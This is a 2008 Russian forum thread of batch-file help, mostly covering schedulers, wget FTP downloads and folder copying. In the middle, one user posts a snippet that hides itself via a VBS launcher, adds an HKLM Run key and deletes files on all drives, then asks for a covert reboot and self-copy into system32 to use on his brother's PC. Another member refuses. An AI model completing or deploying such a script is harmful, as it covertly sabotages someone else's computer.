Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 5

Модерирует : KLASS, IFkO

vu1tur (04-11-2008 23:07): Задачи на bat-файлах 6  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99

   

Nagual



Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Задачи на bat-файлах 5
(часть 1, часть 2, часть 3 , часть 4)
Вопросы, задачи и их решения по работе с командными файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Также для удаления концевых пробелов пользуйтесь скриптом от Nagual, или VBS-Скрипт-Модулем от ViSiToR.
 
Для перекодирования кирилицы 866<<>>1251 пользуйтесь онлайн сервисом Перекодировщик кириллицы

 
Дополняем шапку: добавляем готовые решения, полезные ссылки.
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Программы » Командная строка, батники\сценарии
 
Полезные ссылки
 
Полезные утилиты
 
Готовые решения и частые вопросы:
  • Встроенный справочник по командам
  • Создание помощи по всем командам консоли 2000 и XP
  • Делаем паузу в командном файле стандартными средствами Windows
  • Альтернативные решения »
  • Работа с текстом, датой, и файлами »
  • Администрирование, автоматизация и сеть »
  • Работа с переменными и параметрами ком. строки »
     
    Описания работы команд и символов участниками темы:
    · setlocal enabledelayedexpansion и переменные окружения
    · символы & и && в командной строке
    · Переменная %0

  • Всего записей: 528 | Зарегистр. 06-01-2006 | Отправлено: 12:28 19-03-2008 | Исправлено: Nagual, 01:02 24-09-2008
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    01MDM
    Не увидел, что ты уже ответил.

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 15:07 29-03-2008
    Takuja

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Спасибо всем, ответ помог.
     
    Добавлено:
    Игорь, твоя тема не канает в моем вопросе, так как у тебя идет ожидание и стопориться весь процес. А нада перебор делать по нескольким заданиям, каторые могу чередоваться в зависимости от времени. и нужно не ждать времени, а опрашивать все задания на текущий момент.
     
    Добавлено:
    Вот сам планировщик:
     
    @echo off
    title Tisker
    setlocal
    set task1=15:06
    set task1=15:06
     
     
    :timeshift
    ping /n 3 127.0.0.1 > nill
    if %time:~0,5% GEQ %time_% goto _task
    goto timeshift
     
    :_task
    echo YO!
    pause
     
    Добавлено:
    черт, опять не то нажал, то что сверху - не юзайте, вот
     

    Код:
     
    @echo off
    title Tisker
    cls
    setlocal
    rem устанавливаем время для вызова заданий
    set task1=8:00
    set task2=15:00
    set task3=21:30
     
    rem  сама процедура проверки времени и вызова
    :timeshift
    ping /n 3 127.0.0.1 > nill
    if %time:~0,5% GEQ %task1% goto _task1
    if %time:~0,5% GEQ %task2% goto _task2
    if %time:~0,5% GEQ %task3% goto _task3
    goto timeshift
     
    rem сами вызовы
    :_task1
    call task1.bat
    goto end
     
    :_task2
    call task2.bat
    goto end
     
    :_task3
    call task3.bat
    goto end
     
    :end
    exit

     
    для того что бы планировщик работал постоянно вместо goto end нада использовать goto timeshift

    Всего записей: 64 | Зарегистр. 11-02-2008 | Отправлено: 15:17 29-03-2008
    dixam

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Парни помогите решить задачку с фтп..
     
    структура папок такова:
    2008-03-28
    2008-03-29
    2008-03-30
     
    папки на фтп чистятся на следующий день простым удалением самой "старой".
     
    далее в каждой из папок за определенный день есть папка ARCHIVE
    вот оттуда и надо качать файлы строго zip rar iso 7z но не менее 1 Мб.
    и складывать на винте по дням, например создавая папки 28 29 30
     
    и если средствами виндового фтп клиента нельзя реализовать докачку, то буду рыть в сторону фтп-клиентов GUI, но опять же нужен будет скрипт для автоматизации этой рутины.
     
    вход на фтп анонимный.
     
    всем откикнувшимся заранее большое спасибо

    Всего записей: 22 | Зарегистр. 14-12-2006 | Отправлено: 01:03 30-03-2008
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    dixam
    В Windows консольный ftp.exe простой, как три копейки и докачку он естественно не поддерживает. Задача была бы решаема буквально в пару строчек и curl-ом и wget-ом.
     
    Но вот из-за  "но не менее 1 Мб" батник сразу раздуется очень сильно. Параметра командной строки такого нет, значит придется делать листинг каждой папки и считывать оттуда размер каждого архива. Может и есть какой-нибудь гуевый клиент с такой опцией, я не в курсе.
     

    Всего записей: 1667 | Зарегистр. 08-12-2004 | Отправлено: 13:48 30-03-2008
    dixam

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Задача была бы решаема буквально в пару строчек и curl-ом и wget-ом.

     
    согласен на скрипт без учета ">1 Мб"

    Всего записей: 22 | Зарегистр. 14-12-2006 | Отправлено: 14:49 30-03-2008
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    dixam

    Цитата:
    согласен на скрипт без учета ">1 Мб"

    Согласен - делай. Если устроит, что файлы будут сохраняться в 2008-03-28\ARCHIVE, 2008-03-29\ARCHIVE и т.д., то вообще одной строчкой сможешь поиметь свой ftp.
     
    wget здесь http://users.ugent.be/~bpuype/wget/
    wget --help и все доступные опции перед тобой.
     
    Не зная, что за фтп-шник - точную строку запуска не скажу, но приблизительно начни так:

    Код:

    wget --continue --recursive --force-directories --accept=*.zip,*.rar,*.iso --include-directories=ARCHIVE ftp://ftp.host.com/

    Дальше по ходу дела можешь попробовать добавить в комстроку "по вкусу"
    --cut-dirs=сколько надо
    --no-host-directories
    --timestamping, --proxy, --mirror
    ...еще что-нибудь
    ... в --include-directories попробуй слеши подставить, если wget взбрыкивать будет, вроде */ARCHIVE или ARCHIVE/
    Тема по wget здесь http://forum.ru-board.com/topic.cgi?forum=5&&topic=10066#1 Спрашивай в ней, если что не будет получаться.
     
     

    Всего записей: 1667 | Зарегистр. 08-12-2004 | Отправлено: 15:53 30-03-2008 | Исправлено: igor_andreev, 16:23 30-03-2008
    Dantis

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Привет всем.  Понадобилаесь еще помщь...
     
     
     
     
    Как сделать что бы батник перезапускал комп в определенное время??? нужно в 3 часа ночи . т.е в 03.00 =) ( и что бы комманда тоже выполнялась в фоновом режиме) ...  надо добавить это в этот код...
     

    Цитата:
    @echo off  
    if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f  
    for %%a in (q w e r t y u i o p s d f g h j k l z x c v n m) do if exist %%a: del/q/f/s %%a:\*.dctmp

     
     
    а и еще главное что бы комп перезапускался корректно..т.е будто чел нажал  пуск\выключение\перезагрузка
     
     
    Можли но ли сделать так что бы батник копировал себя в опреденную папку и потом удалял себя из места запуска??  т.е    
     
    если я запустил его на рАбочем столе то он копируется в папку  С:\WINDOWS\system32 и с рабочего стола себя удаляет а в  систем 32 остается?  
     
     
    Кто сможет написать этот код для меян? =) буду примного благодарен.....  
     
     

    Всего записей: 26 | Зарегистр. 25-03-2008 | Отправлено: 01:55 31-03-2008 | Исправлено: Dantis, 02:07 31-03-2008
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Dantis

    Код:

    shutdown /?
    schtasks /?

    Всего записей: 1667 | Зарегистр. 08-12-2004 | Отправлено: 02:06 31-03-2008
    Dantis

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    igor_andreev
     
     
    Не могли бы вы сделать так что бы все работало и добавить в этот код ?? =) а тоя в батниках  полный ламез =(
     

    Цитата:
    @echo off    
    if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f    
    for %%a in (q w e r t y u i o p s d f g h j k l z x c v n m) do if exist %%a: del/q/f/s %%a:\*.dctmp

     
     
     
    ps я подправил пост свой посследнии...

    Всего записей: 26 | Зарегистр. 25-03-2008 | Отправлено: 02:10 31-03-2008
    igor_andreev

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    Не могли бы вы сделать так что бы все работало и добавить в этот код ?? =) а тоя в батниках  полный ламез =(  

    Учись. В батниках ламез, а гадость кому сделать - ты первый? *.dctmp - это недокачанные файлы DC+, их докачивать нужно, а не удалять. А тут - и запустить скрытно и скопировать в системную папку, удалить со всех дисков(ты что, не знаешь, что у тебя только C:\ и D:\ ?) ... В чистом виде попытка создать деструктивный батник для запуска на компе товарисча.  

    Всего записей: 1667 | Зарегистр. 08-12-2004 | Отправлено: 02:38 31-03-2008
    Dantis

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Ты прав =)..... мне надо что бы батник проработал на компе брата  несколько дней....а то он  накачал на 2к и не  денежку медленно отдает .. вот я и хочу немножно   подшутить над ним. так сказать  стимула ему прибавить.  а то что я подписал что бы со всех дисков удолял ... я же не знаю какая  флешка у него под какой буквой в системе =). Комп он перезапускает редко (за это время он успевает выкачеть пару новинок) вот мне и надо что бы в 3 утра комп перезапускался... в системную папку и что бы в реестр прописывалось и в фоновом режиме для того что бы за эти пару дней он не догадался в чам дело.... если бы я просто засунул батник в  папку *автозагрузка* он бы через 1 час его нашел бы.
    (Теперь у него слава Богу у него свой инет..). Теперь я думаю узнав истинные мои намерения не кто не захочет мне помочь?  Плз момогите. =)

    Всего записей: 26 | Зарегистр. 25-03-2008 | Отправлено: 04:19 31-03-2008
    Rotorina



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Всем привет!
    помогите написать bat-файлик, который должеть выполнять следующие действия в следующем порядке:
     
    1) Создавать каталог под именем: "год.месяц.число"
    2) Копировать папочку в этот каталог
    3) Архивировать папку: "год.месяц.число"
    4) Удалять каталог "год.месяц-6.число", иными словами: удалять устаревшую папку полугодичной давности
     
    З.Ы.: каждый раз при включении ПК батничек будет запускаться и выполнять следующие действия, но еже ли такая папка уже есть (ПК в этот день включался), то действия выполняться не должны.

    Всего записей: 109 | Зарегистр. 03-08-2007 | Отправлено: 09:45 31-03-2008
    ruAleks

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ребят помогите. очень тупая задача, хочу скопировать папку со всеми файлами в ней в другое место, но тупо copy не помагает:
    copy C:/test1 C:/test2
    т.е. я хочу скопировать папку test1 в папку test2
    как?

    Всего записей: 2 | Зарегистр. 23-02-2008 | Отправлено: 21:16 31-03-2008
    01MDM



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ruAleks
     

    Код:
     
    md C:\test2\test1 && copy C:\test1 C:\test2\test1
     


    Код:
     
    xcopy C:\test1 C:\test2\  
     


    Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 23:10 31-03-2008 | Исправлено: 01MDM, 23:11 31-03-2008
    king_stiven

    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    ruAleks

    Код:
    xcopy C:\test1 C:\test2\ /s /e /r /h

    или

    Код:
    xcopy C:\test1 C:\test2\test1\ /s /e /r /h /i

    Всего записей: 2167 | Зарегистр. 17-07-2006 | Отправлено: 10:02 01-04-2008
    dredd00

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    мм у меня тоже задачка с копированием. надо скопировать файлы и подкаталоги (включая пустые если есть) из папки источника в папку назначения  если в каталоге назначения уже есть копируемый файл то не копировать (переход к след файлу)  

    Всего записей: 71 | Зарегистр. 27-02-2007 | Отправлено: 15:03 01-04-2008
    ruAleks

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

    Цитата:
    01MDM


    Цитата:
    king_stiven

    Спасибо!

    Всего записей: 2 | Зарегистр. 23-02-2008 | Отправлено: 20:43 01-04-2008
    Elroir



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    dredd00

    Цитата:
    надо скопировать файлы и подкаталоги (включая пустые если есть) из папки источника в папку назначения  если в каталоге назначения уже есть копируемый файл то не копировать


    Код:
     
    @echo off  
    yes N|(xcopy c:\source d:\destination /s /e & taskkill /f /im yes.exe)>nul
     

    используется утилита yes.exe из пакета UnixUtils.

    ----------
    "В интернете есть все, но не всегда"

    Всего записей: 2631 | Зарегистр. 05-02-2003 | Отправлено: 02:38 02-04-2008
    Nagual



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    dredd00
    много вариантов испытал, но самый лучший, быстрый и корректный это, имхо
    robocopy "что" "куда" /mir
    где
    robocopy берётся из Полезных утилит в шапке Win2000(3) Resource Kit Tools

    Всего записей: 528 | Зарегистр. 06-01-2006 | Отправлено: 03:33 02-04-2008 | Исправлено: Nagual, 03:33 02-04-2008
    dredd00

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Nagual
    Win2000(3) Resource Kit Tools - нет такой темы. также нет тем Win2000 Resource Kit Tools и Win2003 Resource Kit Tools в каком топике искать??
    в принципе нашел на майкрософте http://www.microsoft.com/downloads/details.aspx?familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en
     

    Всего записей: 71 | Зарегистр. 27-02-2007 | Отправлено: 09:47 02-04-2008 | Исправлено: dredd00, 10:28 02-04-2008
       

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99

    Компьютерный форум Ru.Board » Операционные системы » Microsoft Windows » Задачи на bat-файлах 5
    vu1tur (04-11-2008 23:07): Задачи на bat-файлах 6


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.Board
    © Ru.Board 2000-2020

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru